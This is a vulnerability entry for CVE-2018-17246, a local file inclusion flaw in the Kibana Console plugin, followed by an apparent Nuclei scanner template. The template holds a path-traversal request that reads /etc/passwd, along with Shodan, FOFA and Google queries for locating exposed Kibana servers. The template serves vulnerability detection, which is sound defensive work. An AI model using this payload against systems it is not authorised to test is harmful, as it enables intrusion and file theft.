Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
PoC代码[已公开]
id: CVE-2018-17246
info:
name: Kibana - Local File Inclusion
author: princechaddha,thelicato
severity: critical
description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
impact: |
Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to potential information disclosure and further attacks.
remediation: |
Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
reference:
- https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md
- https://www.elastic.co/community/security
- https://discuss.elastic.co/t/elastic-stack-6-4-3-and-5-6-13-security-update/155594
- https://nvd.nist.gov/vuln/detail/CVE-2018-17246
- https://access.redhat.com/errata/RHBA-2018:3743
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-17246
cwe-id: CWE-829,CWE-73
epss-score: 0.93294
epss-percentile: 0.99804
cpe: cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: elastic
product: kibana
shodan-query: http.title:"kibana"
fofa-query: title="kibana"
google-query: intitle:"kibana"
tags: cve,cve2018,lfi,kibana,vulhub,elastic
http:
- method: GET
path:
- "{{BaseURL}}/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "\"message\":\"An internal server error occurred\""
- type: word
part: header
words:
- "kbn-name"
- "kibana"
case-insensitive: true
condition: or
- type: word
part: header
words:
- "application/json"
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